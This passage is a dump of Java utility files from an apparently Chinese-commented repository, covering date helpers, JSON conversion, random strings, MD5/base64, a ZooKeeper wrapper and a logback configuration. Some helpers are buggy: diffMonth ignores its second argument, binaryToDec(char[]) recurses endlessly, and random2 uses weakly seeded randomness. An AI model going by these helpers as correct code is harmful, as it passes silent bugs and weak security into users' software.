null;\n\t\tCalendar ca = null;\n\t\tString backTime = null;\n\t\ttry {\n\t\t\td = format1.parse(time);\n\t\t\tca = Calendar.getInstance(); // 定义一个Calendar 对象\n\t\t\tca.setTime(d);// 设置时间\n\t\t\tif (\"h\".equals(type)) {\n\t\t\t\tca.add(Calendar.HOUR, number);// 改变时\n\t\t\t} else if (\"m\".equals(type)) {\n\t\t\t\tca.add(Calendar.MINUTE, number);// 改变分\n\t\t\t} else if (\"s\".equals(type)) {\n\t\t\t\tca.add(Calendar.SECOND, number);// 改变秒\n\t\t\t}\n\t\t\tbackTime = format1.format(ca.getTime()); // 转化为String 的格式\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn backTime;\n\t}\n\n\t/**\n\t * 两个日期带时间比较 第二个时间大于第一个则为true，否则为false\n\t * \n\t * @param String\n\t * @return boolean\n\t * @throws ParseException\n\t */\n\tpublic static boolean isCompareDay(String time1, String time2, String format) {\n\t\tif (isEmpty(format)) {// 如果没有设置格式使用默认格式\n\t\t\tformat = sdf;\n\t\t}\n\t\tSimpleDateFormat s1 = new SimpleDateFormat(format);\n\t\tDate t1 = null;\n\t\tDate t2 = null;\n\t\ttry {\n\t\t\tt1 = s1.parse(time1);\n\t\t\tt2 = s1.parse(time2);\n\t\t\treturn t2.after(t1);// 当 t2 大于 t1 时，为 true，否则为 false\n\t\t} catch (ParseException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * 获取几天之前的时间\n\t * \n\t * @since 1.8\n\t * @param day\n\t * @return\n\t */\n\tpublic static String getMinusDays(int day) {\n\t\treturn getMinusDays(day, sdf);\n\t}\n\n\t/**\n\t * 获取几天之前的时间\n\t * \n\t * @since 1.8\n\t * @param day\n\t * @param format\n\t * @return\n\t */\n\tpublic static String getMinusDays(int day, String format) {\n\t\treturn LocalDateTime.now().minusDays(day).format(DateTimeFormatter.ofPattern(format));\n\t}\n\n\t/**\n\t * 获取几天之后的时间\n\t * \n\t * @since 1.8\n\t * @param day\n\t * @return\n\t */\n\tpublic static String getPlusDays(int day) {\n\t\treturn getPlusDays(day, sdf);\n\t}\n\n\t/**\n\t * 获取几天之后的时间\n\t * \n\t * @since 1.8\n\t * @param day\n\t * @param format\n\t * @return\n\t */\n\tpublic static String getPlusDays(int day, String format) {\n\t\treturn LocalDateTime.now().plusDays(day).format(DateTimeFormatter.ofPattern(format));\n\t}\n\n\t/**\n\t * 获取几天之后的时间\n\t * \n\t * @since 1.8\n\t * @param day\n\t * @return\n\t */\n\tpublic static String getPlusMonths(int month) {\n\t\treturn getPlusMonths(month, sdf);\n\t}\n\n\t/**\n\t * 获取几月之后的时间\n\t * \n\t * @since 1.8\n\t * @param day\n\t * @param format\n\t * @return\n\t */\n\tpublic static String getPlusMonths(int month, String format) {\n\t\treturn LocalDateTime.now().plusMonths(month).format(DateTimeFormatter.ofPattern(format));\n\t}\n\n\t/**\n\t * 增加月份\n\t * \n\t * @param time\n\t *            格式为yyyy-MM-dd\n\t * @param month\n\t *            增加月份\n\t * @return\n\t */\n\tpublic static String addPlusMonths(String time, int month) {\n\t\treturn LocalDate.parse(time).plusMonths(month).toString();\n\t}\n\n\t/**\n\t * 时间相比得月份 如果是201711和201801相比，返回的结果是2 前面的时间要小于后面的时间\n\t * \n\t * @param month\n\t *            格式为yyyyMM\n\t * @param toMonth\n\t *            格式为yyyyMM\n\t * @since jdk 1.8\n\t * @return\n\t */\n\tpublic static int diffMonth(String month, String toMonth) {\n\t\tint year1 = Integer.parseInt(month.substring(0, 4));\n\t\tint month1 = Integer.parseInt(month.substring(4, 6));\n\t\tint year2 = Integer.parseInt(month.substring(0, 4));\n\t\tint month2 = Integer.parseInt(month.substring(4, 6));\n\t\tLocalDate ld1 = LocalDate.of(year1, month1, 01);\n\t\tLocalDate ld2 = LocalDate.of(year2, month2, 01);\n\t\treturn Period.between(ld1, ld2).getMonths();\n\t}\n\n\t/**\n\t * 判断是否为整型\n\t * \n\t * @param String\n\t * @return boolean\n\t */\n\tpublic static boolean isInteger(String str) {\n\t\tMatcher m = p.matcher(str);\n\t\treturn m.find();\n\t}\n\n\t/**\n\t * 自定义位数产生随机数字\n\t * \n\t * @param int\n\t * @return String\n\t */\n\tpublic static String random(int count) {\n\t\tchar start = '0';\n\t\tchar end = '9';\n\t\tRandom rnd = new Random();\n\t\tchar[] result = new char[count];\n\t\tint len = end - start + 1;\n\t\twhile (count-- > 0) {\n\t\t\tresult[count] = (char) (rnd.nextInt(len) + start);\n\t\t}\n\t\treturn new String(result);\n\t}\n\n\t/**\n\t * 获取自定义长度的随机数(含字母)\n\t * \n\t * @param len\n\t *            长度\n\t * @return String\n\t */\n\tpublic static String random2(int len) {\n\t\tint random = Integer.parseInt(random(5));\n\t\tRandom rd = new Random(random);\n\t\tfinal int maxNum = 62;\n\t\tStringBuffer sb = new StringBuffer();\n\t\tint rdGet;// 取得随机数\n\t\tchar[] str = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',\n\t\t\t\t't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t\t\t\t'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8',\n\t\t\t\t'9' };\n\t\tint count = 0;\n\t\twhile (count < len) {\n\t\t\trdGet = Math.abs(rd.nextInt(maxNum));// 生成的数最大为62-1\n\t\t\tif (rdGet >= 0 && rdGet < str.length) {\n\t\t\t\tsb.append(str[rdGet]);\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 获取本机ip\n\t * \n\t * @return String\n\t * @throws UnknownHostException\n\t */\n\tpublic static String getLocalHostIp() throws UnknownHostException {\n\t\treturn InetAddress.getLocalHost().getHostAddress();\n\t}\n\n\t/**\n\t * Object 转换为 String\n\t * \n\t * @param list\n\t * @return String\n\t */\n\tpublic static String toString(Object obj) {\n\t\treturn JSON.toJSONString(obj);\n\t}\n\n\t/**\n\t * JSON 转换为 JavaBean\n\t * \n\t * @param json\n\t * @param t\n\t * @return <T>\n\t */\n\tpublic static <T> T toBean(JSONObject json, Class<T> t) {\n\t\treturn JSON.toJavaObject(json, t);\n\t}\n\n\t/**\n\t * JSON 字符串转换为 JavaBean\n\t * \n\t * @param str\n\t * @param t\n\t * @return <T>\n\t */\n\tpublic static <T> T toBean(String str, Class<T> t) {\n\t\treturn JSON.parseObject(str, t);\n\t}\n\n\t/**\n\t * JSON 字符串 转换成JSON格式\n\t * \n\t * @param obj\n\t * @return JSONObject\n\t */\n\tpublic static JSONObject toJson(String str) {\n\t\tif (isEmpty(str)) {\n\t\t\treturn new JSONObject();\n\t\t}\n\t\treturn JSON.parseObject(str);\n\n\t}\n\n\t/**\n\t * JavaBean 转化为JSON\n\t * \n\t * @param t\n\t * @return\n\t */\n\tpublic static JSONObject toJson(Object t) {\n\t\tif (null == t || \"\".equals(t)) {\n\t\t\treturn new JSONObject();\n\t\t}\n\t\treturn (JSONObject) JSON.toJSON(t);\n\t}\n\n\t/**\n\t * JSON 字符串转换为 HashMap\n\t * \n\t * @param json\n\t *            - String\n\t * @return Map\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Map toMap(String json) {\n\t\tif (isEmpty(json)) {\n\t\t\treturn new HashMap();\n\t\t}\n\t\treturn JSON.parseObject(json, HashMap.class);\n\t}\n\n\t/**\n\t * 将map转化为string\n\t * \n\t * @param m\n\t * @return\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static String toString(Map m) {\n\t\treturn JSONObject.toJSONString(m);\n\t}\n\n\t/**\n\t * String转换为数组\n\t * \n\t * @param text\n\t * @return\n\t */\n\tpublic static <T> Object[] toArray(String text) {\n\t\treturn toArray(text, null);\n\t}\n\n\t/**\n\t * String转换为数组\n\t * \n\t * @param text\n\t * @return\n\t */\n\tpublic static <T> Object[] toArray(String text, Class<T> clazz) {\n\t\treturn JSON.parseArray(text, clazz).toArray();\n\t}\n\n\t/**\n\t * name1=value1&name2=value2格式的数据转换成json数据格式\n\t * \n\t * @param str\n\t * @return\n\t */\n\tpublic static JSONObject str2Json(String str) {\n\t\tif (isEmpty(str)) {\n\t\t\treturn new JSONObject();\n\t\t}\n\t\tJSONObject json = new JSONObject();\n\t\tString[] str1 = str.split(\"&\");\n\t\tString str3 = \"\", str4 = \"\";\n\t\tif (null == str1 || str1.length == 0) {\n\t\t\treturn new JSONObject();\n\t\t}\n\t\tfor (String str2 : str1) {\n\t\t\tstr3 = str2.substring(0, str2.lastIndexOf(\"=\"));\n\t\t\tstr4 = str2.substring(str2.lastIndexOf(\"=\") + 1, str2.length());\n\t\t\tjson.put(str3, str4);\n\t\t}\n\t\treturn json;\n\t}\n\n\t/**\n\t * json数据格式 转换成name1=value1&name2=value2格式\n\t * \n\t * @param str\n\t * @return\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static String json2Str(JSONObject json) {\n\t\tif (isEmpty(json)) {\n\t\t\treturn null;\n\t\t}\n\t\tStringBuffer sb = new StringBuffer();\n\t\tIterator it = json.entrySet().iterator(); // 定义迭代器\n\t\twhile (it.hasNext()) {\n\t\t\tMap.Entry er = (Entry) it.next();\n\t\t\tsb.append(er.getKey());\n\t\t\tsb.append(\"=\");\n\t\t\tsb.append(er.getValue());\n\t\t\tsb.append(\"&\");\n\t\t}\n\t\tsb.delete(sb.length() - 1, sb.length()); // 去掉最后的&\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 将JDBC查询的数据转换成List类型\n\t * \n\t * @param ResultSet\n\t * @return List\n\t * @throws SQLException\n\t */\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tpublic static List convertList(ResultSet rs) throws SQLException {\n\t\tif (null == rs) {\n\t\t\treturn new ArrayList<>();\n\t\t}\n\t\tList list = new ArrayList();\n\t\tResultSetMetaData md = rs.getMetaData();\n\t\tint columnCount = md.getColumnCount();\n\t\twhile (rs.next()) {\n\t\t\tJSONObject rowData = new JSONObject();\n\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\trowData.put(md.getColumnName(i), rs.getObject(i));\n\t\t\t}\n\t\t\tlist.add(rowData);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * MD5加密\n\t * \n\t * @param message\n\t * @return\n\t */\n\tpublic static String md5Encode(String message) {\n\t\tbyte[] secretBytes = null;\n\t\ttry {\n\t\t\tsecretBytes = MessageDigest.getInstance(\"md5\").digest(message.getBytes());\n\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\tthrow new RuntimeException(\"没有md5这个算法！\");\n\t\t}\n\t\tString md5code = new BigInteger(1, secretBytes).toString(16);// 16进制数字\n\t\t// 如果生成数字未满32位，需要前面补0\n\t\tint length = 32 - md5code.length();\n\t\tfor (int i = 0; i < length; i++) {\n\t\t\tmd5code = \"0\" + md5code;\n\t\t}\n\t\treturn md5code;\n\t}\n\n\t/**\n\t * base64 加密\n\t * \n\t * @param str\n\t * @return\n\t */\n\tpublic static String base64En(String str) {\n\t\tBase64 base64 = new Base64();\n\t\tbyte[] encode = base64.encode(str.getBytes());\n\t\treturn new String(encode);\n\t}\n\n\t/**\n\t * base64解密\n\t * \n\t * @param encodeStr\n\t * @return\n\t */\n\t@SuppressWarnings(\"static-access\")\n\tpublic static String base64De(String encodeStr) {\n\t\tBase64 base64 = new Base64();\n\t\tbyte[] decodeStr = base64.decodeBase64(encodeStr);\n\t\treturn new String(decodeStr);\n\t}\n\n\t/**\n\t * 十进制转二进制\n\t * \n\t * @param n\n\t * @return\n\t */\n\tpublic static String decToBinary(int n) {\n\t\tString str = \"\";\n\t\twhile (n != 0) {\n\t\t\tstr = n % 2 + str;\n\t\t\tn = n / 2;\n\t\t}\n\t\treturn str;\n\t}\n\n\t/**\n\t * 二进制转十进制\n\t * \n\t * @param n\n\t * @return\n\t */\n\tpublic static int binaryToDec(char[] cs) {\n\t\treturn binaryToDec(cs);\n\t}\n\n\t/**\n\t * 二进制转十进制\n\t * \n\t * @param n\n\t * @return\n\t */\n\tpublic static int binaryToDec(String cs) {\n\t\treturn new BigInteger(new String(cs), 2).intValue();\n\t}\n\n\t/**\n\t * 本方法的测试示例\n\t * \n\t * @param args\n\t */\n\t@SuppressWarnings({ \"rawtypes\" })\n\tpublic static void main(String[] args) {\n\t\t/*\n\t\t * String 和List 空数据判断\n\t\t */\n\t\tString str1 = \"\";\n\t\tString str2 = \" \";\n\t\tString str3 = null;\n\t\tString str4 = \"a\";\n\t\tList list = null;\n\t\tList<String> list2 = new ArrayList<String>();\n\t\tList<Object> list3 = new ArrayList<Object>();\n\t\tlist3.add(\"a\");\n\n\t\tSystem.out.println(\"str1 :\" + isEmpty(str1)); // str1 :true\n\t\tSystem.out.println(\"str2 :\" + isEmpty(str2)); // str2 :true\n\t\tSystem.out.println(\"str3 :\" + isEmpty(str3)); // str3 :true\n\t\tSystem.out.println(\"str4 :\" + isEmpty(str4)); // str4 :false\n\t\tSystem.out.println(\"list :\" + isEmpty(list)); // list :true\n\t\tSystem.out.println(\"list2 :\" + isEmpty(list2)); // list2 :true\n\t\tSystem.out.println(\"list3 :\" + isEmpty(list3)); // list3 :false\n\n\t\t/*\n\t\t * 时间\n\t\t */\n\t\tlong start = getNowLongTime();\n\t\tSystem.out.println(\"getNowTime():\" + getNowTime()); // getNowTime():2017-09-26\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 17:46:44\n\t\tSystem.out.println(\"getNowLongTime():\" + getNowLongTime()); // getNowLongTime():1506419204920\n\t\tSystem.out.println(\"getNowTime(sdfm):\" + getNowTime(sdfm)); // getNowTime(sdfm):2017-09-26\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 17:46:44\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 920\n\t\tSystem.out.println(\"当时时间向前推移30秒:\" + changeTime(-30, sdf, \"s\")); // 2017-09-26\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 17:46:14\n\t\tSystem.out.println(\"时间比较:\" + isCompareDay(getNowTime(sdfm), changeTime(-30, sdf, \"s\"), \"\")); // 时间比较:false\n\t\tSystem.out.println(\"getTNowTime():\" + getTNowTime()); // getTNowTime():2017-09-26\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 17:46:44.921\n\t\tSystem.out.println(\"LongTime2StringTime():\" + longTime2StringTime(start, sd)); // LongTime2StringTime():20170926174644\n\n\t\t/*\n\t\t * 整型判断\n\t\t */\n\t\tString st = \"258369\";\n\t\tString st2 = \"258369A!@\";\n\t\tString st3 = \"258  369 \";\n\t\tSystem.out.println(\"st:\" + isInteger(st)); // st:true\n\t\tSystem.out.println(\"st2:\" + isInteger(st2)); // st2:false\n\t\tSystem.out.println(\"st3:\" + isInteger(st3)); // st3:false\n\n\t\t/*\n\t\t * 字符串反转\n\t\t */\n\t\tString re = \"abcdefg\";\n\t\tSystem.out.println(\"字符串反转:\" + reverse(re)); // 字符串反转:gfedcba\n\n\t\t/*\n\t\t * 本机IP\n\t\t */\n\t\ttry {\n\t\t\tSystem.out.println(\"本机IP:\" + getLocalHostIp()); // 本机IP:192.168.1.111\n\t\t} catch (UnknownHostException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\t/*\n\t\t * 随机数\n\t\t */\n\n\t\tSystem.out.println(\"6位随机数:\" + random(6)); // 6位随机数:222488\n\t\tSystem.out.println(\"10位随机数:\" + random2(10)); // 10位随机数:ZwW0pmofjW\n\n\t\t/*\n\t\t * JSON数据转换\n\t\t */\n\n\t\tString value = \"name1=value1&name2=value2&name3=value3\";\n\t\tJSONObject json = new JSONObject();\n\t\tjson.put(\"name1\", \"value1\");\n\t\tjson.put(\"name2\", \"value2\");\n\t\tjson.put(\"name3\", \"value3\");\n\t\tSystem.out.println(\"value:\" + value); // value:name1=value1&name2=value2&name3=value3\n\t\tSystem.out.println(\"str2Json:\" + str2Json(value)); // str2Json:{\"name1\":\"value1\",\"name2\":\"value2\",\"name3\":\"value3\"}\n\t\tSystem.out.println(\"json:\" + json.toJSONString()); // json:{\"name1\":\"value1\",\"name2\":\"value2\",\"name3\":\"value3\"}\n\t\tSystem.out.println(\"json2Str:\" + json2Str(json)); // json2Str:name3=value3&name1=value1&name2=value2\n\n\t\tString jsonString = json.toJSONString();\n\t\tSystem.out.println(\"jsonString:\" + jsonString); // {\"name1\":\"value1\",\"name2\":\"value2\",\"name3\":\"value3\"}\n\t\tSystem.out.println(\"toJson(jsonString):\" + toJson(jsonString)); // toJson(jsonString):{\"name1\":\"value1\",\"name2\":\"value2\",\"name3\":\"value3\"}\n\n\t\tSystem.out.println(\"long TO String\" + longTime2StringTime(32472115200L));\n\t\tSystem.out.println(\"long TO String\" + longTime2StringTime(1513330097L));\n\n\t\tString time1 = \"2018-04-04\";\n\t\tString time2 = \"2018-04-04 14:48:00\";\n\t\tString time3 = \"2018-04-04 14:48:00.000\";\n\t\tSystem.out.println(\"时间补全:\" + complementTime(time1, sdfm, 1));\n\t\tSystem.out.println(\"时间补全:\" + complementTime(time2, sdfm, 2));\n\t\tSystem.out.println(\"时间补全:\" + complementTime(time3, sdfm, 1));\n\t\tString time4 = addPlusMonths(time1, 2);\n\t\tSystem.out.println(\"增加之前的数据:\" + time1 + \"增加月份之后的数据:\" + time4);\n\t\tSystem.out.println(\"相差月份:\" + diffMonth(\"201711\", \"201801\"));\n\n\n\n\t\tint l = 2;\n\t\tString string = \"10101\";\n\t\tSystem.out.println(l + \" 十进制转二进制: \" + decToBinary(l));\n\n\t\tSystem.out.println(string + \" 二进制转十进制: \" + binaryToDec(string));\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/QrCodeCreateUtil.java",
    "content": "// This file is commented out — functionality moved to jun_qrcode module.\n// See jun_qrcode for QR code generation and reading utilities.\n/*\npackage com.jun.plugin.utils;\n\nimport java.awt.Color;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Hashtable;\n\nimport javax.imageio.ImageIO;\n\nimport com.google.zxing.BarcodeFormat;\nimport com.google.zxing.BinaryBitmap;\nimport com.google.zxing.EncodeHintType;\nimport com.google.zxing.LuminanceSource;\nimport com.google.zxing.ReaderException;\nimport com.google.zxing.Result;\nimport com.google.zxing.WriterException;\nimport com.google.zxing.client.j2se.BufferedImageLuminanceSource;\nimport com.google.zxing.common.BitMatrix;\nimport com.google.zxing.common.HybridBinarizer;\nimport com.google.zxing.qrcode.QRCodeReader;\nimport com.google.zxing.qrcode.QRCodeWriter;\nimport com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;\n\npublic class QrCodeCreateUtil {\n\n    public static boolean createQrCode(OutputStream outputStream, String content, int qrCodeSize, String imageFormat) throws WriterException, IOException {\n        Hashtable<EncodeHintType, ErrorCorrectionLevel> hintMap = new Hashtable<EncodeHintType, ErrorCorrectionLevel>();\n        hintMap.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.L);\n        QRCodeWriter qrCodeWriter = new QRCodeWriter();\n        BitMatrix byteMatrix = qrCodeWriter.encode(content, BarcodeFormat.QR_CODE, qrCodeSize, qrCodeSize, hintMap);\n        int matrixWidth = byteMatrix.getWidth();\n        BufferedImage image = new BufferedImage(matrixWidth - 200, matrixWidth - 200, BufferedImage.TYPE_INT_RGB);\n        image.createGraphics();\n        Graphics2D graphics = (Graphics2D) image.getGraphics();\n        graphics.setColor(Color.WHITE);\n        graphics.fillRect(0, 0, matrixWidth, matrixWidth);\n        graphics.setColor(Color.BLACK);\n        for (int i = 0; i < matrixWidth; i++) {\n            for (int j = 0; j < matrixWidth; j++) {\n                if (byteMatrix.get(i, j)) {\n                    graphics.fillRect(i - 100, j - 100, 1, 1);\n                }\n            }\n        }\n        return ImageIO.write(image, imageFormat, outputStream);\n    }\n\n    public static void readQrCode(InputStream inputStream) throws IOException {\n        BufferedImage image = ImageIO.read(inputStream);\n        LuminanceSource source = new BufferedImageLuminanceSource(image);\n        BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source));\n        QRCodeReader reader = new QRCodeReader();\n        Result result = null;\n        try {\n            result = reader.decode(bitmap);\n        } catch (ReaderException e) {\n            e.printStackTrace();\n        }\n        System.out.println(result.getText());\n    }\n\n    public static void main(String[] args) throws IOException, WriterException {\n        createQrCode(new FileOutputStream(new File(\"d:\\\\pancm.jpg\")), \"http://www.panchengming.com\", 900, \"JPEG\");\n        readQrCode(new FileInputStream(new File(\"d:\\\\pancm.jpg\")));\n    }\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/ZkUtil.java",
    "content": "package com.jun.plugin.utils;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.I0Itec.zkclient.ZkClient;\nimport org.I0Itec.zkclient.exception.ZkException;\nimport org.I0Itec.zkclient.exception.ZkInterruptedException;\nimport org.apache.zookeeper.CreateMode;\nimport org.apache.zookeeper.WatchedEvent;\nimport org.apache.zookeeper.Watcher.Event;\n\n/**\n * \n* @Title: ZookeeperUtils\n* @Description: \n* zookeeper的工具类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月2日\n */\npublic class ZkUtil {\n\t\n\t/**\n\t * 斜杠\n\t */\n\tprivate static final String SPRIT =\"/\";\n\t/**\n\t * 创建目录并添加参数\n\t * @param zk\n\t * @param path\n\t * @param data\n\t * @return\n\t */\n\tpublic static void create(ZkClient zk,String path,String data) throws ZkInterruptedException, IllegalArgumentException, ZkException, RuntimeException{\n\t\tif(!zk.exists(path)){\n\t\t\tzk.create(path,data,CreateMode.PERSISTENT);\n\t\t}\n\t}\n\t\n\t/**\n\t * 创建目录不添加参数\n\t * 也可以创建层级目录，格式: /test/test1/test1-1\n\t * @param zk\n\t * @param path\n\t * @return\n\t */\n\tpublic static void create(ZkClient zk,String path) throws ZkInterruptedException, IllegalArgumentException, ZkException, RuntimeException{\n\t\tif(!zk.exists(path)){\n\t\t\tzk.createPersistent(path,true);\n\t\t}\n\t}\n\t\n\t/**\n\t * 更新参数，没有就新增\n\t * @param zk\n\t * @param path\n\t * @param data\n\t * @return\n\t */\n\tpublic static boolean setData(ZkClient zk,String path,String data){\n\t\tboolean falg=false;\n\t\tif(zk.exists(path)){\n\t\t   zk.writeData(path, data);\n\t\t   falg=true;\n\t\t}\n\t\treturn falg;\n\t}\n\t\n\t/**\n\t * 获取数据\n\t * @param zk\n\t * @param path\n\t * @return\n\t */\n\tpublic static <T extends Object> T getData(ZkClient zk,String path){\n\t\tT t=null;\n\t\tif(zk.exists(path)){\n\t\t   t=zk.readData(path);\n\t\t}\n\t\treturn t;\n\t}\n\t\n\t\n\t/**\n\t * 获取子节点\n\t * @param zk\n\t * @param path\n\t * @return\n\t */\n\tpublic static List<String> getChildNode(ZkClient zk,String path){\n\t\tList<String> list=null;\n\t\tif(zk.exists(path)){\n\t\t\tlist=zk.getChildren(path);\n\t\t}\n\t\treturn list;\n\t}\n\t\n\t\n\t/**\n\t * 获取父级目录下的所有数据\n\t * 注:仅限一级\n\t * @param zk\n\t * @param path\n\t * @return\n\t */\n\tpublic static Map<String, String> getAll(ZkClient zk,String path){\n\t\tList<String> yardList =getChildNode(zk,path);\n\t\tMap<String, String> map = new HashMap<String, String>();\n\t\tfor(String key : yardList){\n\t\t\tString value = getData(zk,path.concat(SPRIT).concat(key));\n\t\t\tmap.put(key, value);\n\t\t}\n\t\treturn map;\n\t}\n\t\n\t/**\n\t * 删除节点\n\t * 注:如果是该节点包含子节点，也会一并删除\n\t * @param zk\n\t * @param path\n\t * @return\n\t */\n\tpublic static boolean delete(ZkClient zk,String path){\n\t\treturn zk.deleteRecursive(path);\n\t}\n\t\n\tpublic static void close(ZkClient zk){\n\t\tif(zk!=null){\n\t\t\tzk.close();\n\t\t}\n\t}\n\t\n\t\n\tpublic void process(WatchedEvent watchedEvent) {\n\t    if (watchedEvent.getState() == Event.KeeperState.SyncConnected) { //与zk服务器处于连接状态\n\t    \t//如果没有就创建\n\t        if(watchedEvent.getType() == Event.EventType.None && null == watchedEvent.getPath()) {\n\t        \t\n\t        }else if(watchedEvent.getType() == Event.EventType.NodeCreated) { \n\t            System.out.println(\"监控到了该节点被创建\");\n\t        } else if(watchedEvent.getType() == Event.EventType.NodeDataChanged) {\n\t            // 节点的子节点列表发生变化\n\t        \tSystem.out.println(\"监控到了该节点更新\");\n\t        } else if(watchedEvent.getType() == Event.EventType.NodeChildrenChanged) {\n\t            // 节点的数据内容发生变化\n\t        \tSystem.out.println(\"监控到了该节点的子节点更新\");\n\t        }else if(watchedEvent.getType() == Event.EventType.NodeDeleted) {\n\t            System.out.println(\"监控到了该节点删除\");\n\t        }\n\t    }\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 一些工具类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.utils;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/resources/logback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--scan: 当此属性设置为true时，配置文件如果发生改变，将会被重新加载，默认值为true。\n　　　　scanPeriod: 设置监测配置文件是否有修改的时间间隔，如果没有给出时间单位，默认单位是毫秒。当scan为true时，此属性生效。默认的时间间隔为1分钟。  -->\n<configuration  scan=\"true\" scanPeriod=\"30 seconds\" debug=\"true\" >\n<!--日志目录  -->\n\t<property name=\"LOG_HOME\" value=\"logs/pcm\"/>\n\t<!--负责写日志的组件，它有两个必要属性name和class。name指定appender名称，class指定appender的全限定名  -->\n\t<appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<layout class=\"ch.qos.logback.classic.PatternLayout\">\n\t\t\t<Pattern>\n\t\t\t\t<!--格式化输出：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度%msg：日志消息，%n是换行符--> \n\t\t\t\t%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%class:%line] %-5level %logger{50} - %msg%n\n\t\t\t</Pattern>\n\t\t</layout>\n\t</appender>\n\t<appender name=\"FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n\t\t\t<!-- rollover daily -->\n\t\t\t<fileNamePattern>${LOG_HOME}/mylog-%d{yyyy-MM-dd}.%i.txt</fileNamePattern>\n\t\t\t<!-- each file should be at most 10MB, keep 31 days worth of history, but at most 10GB -->\n\t\t\t<maxFileSize>10MB</maxFileSize>\n\t\t\t<maxHistory>31</maxHistory>\n\t\t\t<totalSizeCap>10GB</totalSizeCap>\n\t\t</rollingPolicy>\n\t\t<layout class=\"ch.qos.logback.classic.PatternLayout\">\n\t\t\t<Pattern>\n\t\t\t\t%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%class:%line] %-5level %logger{50} - %msg%n\n\t\t\t</Pattern>\n\t\t</layout>\n\t</appender>\n\t\n\t<!--自定义一个请求的日志输出文件  -->\n    <appender name=\"ONE_INFO\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n\t\t\t<!-- rollover daily -->\n\t\t\t<fileNamePattern>${LOG_HOME}/oneInfo/%d{yyyy-MM-dd}/oneInfo.%i.txt</fileNamePattern>\n\t\t\t<!-- each file should be at most 10MB, keep 31 days worth of history, but at most 10GB -->\n\t\t\t<maxFileSize>10MB</maxFileSize>\n\t\t\t<maxHistory>31</maxHistory>\n\t\t\t<totalSizeCap>10GB</totalSizeCap>\n\t\t</rollingPolicy>\n\t\t<layout class=\"ch.qos.logback.classic.PatternLayout\">\n\t\t\t<Pattern>\n\t\t\t\t%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%class:%line] %-5level %logger{50} - %msg%n\n\t\t\t</Pattern>\n\t\t</layout>\n\t</appender>\n\t\n\t<!--自定义一个请求的日志输出文件  -->\n    <appender name=\"TWO_INFO\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n\t\t\t<!-- rollover daily -->\n\t\t\t<fileNamePattern>${LOG_HOME}/twoInfo/%d{yyyy-MM-dd}/twoInfo.%i.txt</fileNamePattern>\n\t\t\t<!-- each file should be at most 10MB, keep 31 days worth of history, but at most 10GB -->\n\t\t\t<maxFileSize>10MB</maxFileSize>\n\t\t\t<maxHistory>31</maxHistory>\n\t\t\t<totalSizeCap>10GB</totalSizeCap>\n\t\t</rollingPolicy>\n\t\t<layout class=\"ch.qos.logback.classic.PatternLayout\">\n\t\t\t<Pattern>\n\t\t\t\t%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%class:%line] %-5level %logger{50} - 